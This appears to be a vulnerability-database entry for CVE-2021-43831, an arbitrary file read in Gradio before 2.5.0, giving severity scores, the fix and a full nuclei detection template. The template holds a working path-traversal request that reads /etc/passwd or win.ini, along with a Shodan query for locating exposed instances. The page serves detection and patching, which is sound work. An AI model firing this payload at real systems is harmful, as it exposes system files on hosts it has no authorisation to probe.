HexBrain

Browse / CVEs / CVE-2021-43831

CVE-2021-43831· gradio project / gradio· CWE-22

Gradio < 2.5.0 - Arbitrary File Read

highseverity
7.7CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Files on the host computer can be accessed from the Gradio interface

Impact

An attacker would be able to view the contents of a file on the computer.

Fix

Update to version 2.5.0.

How to confirm it

Send: GET {{BaseURL}}/file/../../../../../../../../../../../../../../../../../..{{path}}
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-43831 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-43831

info:
  name: Gradio < 2.5.0 - Arbitrary File Read
  author: isacaya
  severity: high
  description: |
    Files on the host computer can be accessed from the Gradio interface
  impact: |
    An attacker would be able to view the contents of a file on the computer.
  remediation: |
    Update to version 2.5.0.
  reference:
    - https://github.com/gradio-app/gradio/security/advisories/GHSA-rhq2-3vr9-6mcr
    - https://github.com/gradio-app/gradio/commit/41bd3645bdb616e1248b2167ca83636a2653f781
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2021-43831
    cwe-id: CWE-22
    epss-score: 0.03837
    epss-percentile: 0.90204
    cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*
  metadata:
    vendor: gradio_project
    product: gradio
    framework: python
    shodan-query: title:"Gradio"
  tags: cve,cve2021,lfi,gradio,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/file/../../../../../../../../../../../../../../../../../..{{path}}"

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from